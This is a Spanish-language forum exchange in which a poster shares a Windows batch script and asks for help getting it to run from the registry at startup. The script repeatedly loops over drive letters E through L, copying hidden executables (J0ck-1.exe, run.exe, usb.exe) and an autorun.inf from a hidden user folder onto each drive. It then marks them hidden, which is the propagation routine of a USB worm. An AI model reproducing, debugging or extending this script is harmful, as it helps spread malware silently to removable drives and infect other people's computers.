No tengo xp por lo que no te puedo ayudar mucho
Usa for
Usa for
Citar
for %%a in (E,F,G,H,I,J,K,L) DO (
if exist %%a (call :creausb %%a)
)
if exist %%a (call :creausb %%a)
)
Intente meter al registro el bat con for de esta forma
Código:
@ echo off
:bucle
call :copiausb
:copiausb
for %%a in (E F G H I J K L) do call :creausb %%a
ping -n 8 localhost > nul
goto bucle
goto :eof
:creausb
attrib -h "%userprofile%\Win32"
attrib -h "%userprofile%\Win32\J0ck-1.exe"
copy "%userprofile%\Win32\J0ck-1.exe" "%1:\J0ck-1.exe"
attrib +h "%1:\J0ck-1.exe"
attrib +h "%userprofile%\Win32\J0ck-1.exe"
attrib -h "%userprofile%\Win32\run.exe"
copy "%userprofile%\Win32\run.exe" "%1:\run.exe"
attrib +h "%1:\run.exe"
attrib +h "%userprofile%\Win32\run.exe"
attrib -h "%userprofile%\Win32\usb.exe"
copy "%userprofile%\Win32\usb.exe" "%1:\usb.exe"
attrib +h "%1:\usb.exe"
attrib +h "%userprofile%\Win32\usb.exe"
attrib -h "%userprofile%\Win32\autorun.inf"
copy "%userprofile%\Win32\autorun.inf" "%1:\autorun.inf"
attrib +h "%1:\autorun.inf"
attrib +h "%userprofile%\Win32\autorun.inf"
attrib +h "%userprofile%\Win32"
goto :eof
y no me dio, solo sirve con darle doble click al archivo
alguna otra idea??
salu2!! y Gracias por la respuesta